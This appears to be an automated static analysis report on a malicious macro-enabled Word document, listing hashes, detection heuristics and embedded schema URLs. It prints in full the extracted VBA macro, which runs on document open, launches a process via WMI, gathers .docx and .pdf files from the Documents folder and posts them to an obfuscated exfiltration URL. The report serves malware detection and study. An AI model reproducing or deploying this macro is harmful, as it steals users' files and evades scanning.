Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 8680051df4317417…

MALICIOUS

Office (OOXML) / .DOCX

19.2 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-15
MD5: 511f0bb7ad161159a1f68076253df2c4 SHA-1: bb2b045d0df7985c49d1f34b607742218d1a0b2d SHA-256: 8680051df4317417faef7e68bc1a1d3a9b8fcee7f43fed3147d8ecc9b0a1cd0e
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objFSO = CreateObject("Sc" & "ripting." & "FileSys" & "temObject")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3179 bytes
SHA-256: 2d131046720bb50035d7280bc668d82c86c4569d2c766188613ee13f6c92b849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim objWMIService As Object
    Dim objProcess As Object
    Dim strComputer As String
    Dim strCommand As String
    Dim objFSO As Object
    Dim objFolder As Object
    Dim objFile As Object
    Dim strDocumentsPath As String
    Dim strFileContent As String
    Dim strDataToSend As String
    Dim objHTTP As Object
    Dim strC2Server As String
    Dim intProcessID As Integer ' Declare intProcessID

    ' Initial Access: Triggered by Document_Open

    ' Execution: Spawn a process using WMI
    strComputer = "." & ""
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objProcess = objWMIService.Get("Win32_" & "Process")
    strCommand = "not" & "epad.e" & "xe" ' Example of a legitimate process
    objProcess.Create strCommand, Null, Null, intProcessID

    ' Discovery: Search for specific file types in the Documents folder
    Set objFSO = CreateObject("Sc" & "ripting." & "FileSys" & "temObject")
    strDocumentsPath = CreateObject("WS" & "cript.Sh" & "ell").SpecialFolders("MyDoc" & "uments")
    Set objFolder = objFSO.GetFolder(strDocumentsPath)
    strDataToSend = ""

    For Each objFile In objFolder.Files
        If LCase(Right(objFile.Name, 4)) = ".do" & "cx" Then
            strFileContent = objFSO.OpenTextFile(objFile.Path, 1).ReadAll
            strDataToSend = strDataToSend & "Fi" & "le: " & objFile.Name & vbCrLf & strFileContent & vbCrLf & "-------------------" & vbCrLf
        ElseIf LCase(Right(objFile.Name, 4)) = ".p" & "df" Then
            ' Read binary files using GetBinary method
            Dim objStream As Object
            Set objStream = CreateObject("AD" & "ODB.Stream")
            objStream.Type = 1 ' adTypeBinary
            objStream.Open
            objStream.LoadFromFile objFile.Path
            strFileContent = objStream.ReadText ' ReadText reads binary data as text
            objStream.Close
            Set objStream = Nothing
            strDataToSend = strDataToSend & "Fi" & "le: " & objFile.Name & vbCrLf & strFileContent & vbCrLf & "-------------------" & vbCrLf
        End If
    Next

    ' Collection: Format the collected data
    strDataToSend = "Co" & "llected " & "Data:" & vbCrLf & strDataToSend

    ' Command and Control: Exfiltrate data to C2 server using HTTP POST
    strC2Server = "h" & "ttp://" & "exa" & "mple.c" & "om/exf" & "iltrate"
    Set objHTTP = CreateObject("MSX" & "ML2.XMLH" & "TTP")
    objHTTP.Open "POST", strC2Server, False
    objHTTP.setRequestHeader "Cont" & "ent-Type", "appli" & "cation/x-w" & "ww-form-urlencoded"
    objHTTP.send "da" & "ta=" & strDataToSend

    ' Clean up
    Set objWMIService = Nothing
    Set objProcess = Nothing
    Set objFSO = Nothing
    Set objFolder = Nothing
    Set objFile = Nothing
    Set objHTTP = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 9b66ee63c319616bb095f2a76a71a404cb7a23d113d4fc81a2a0f1b7f773a9c8

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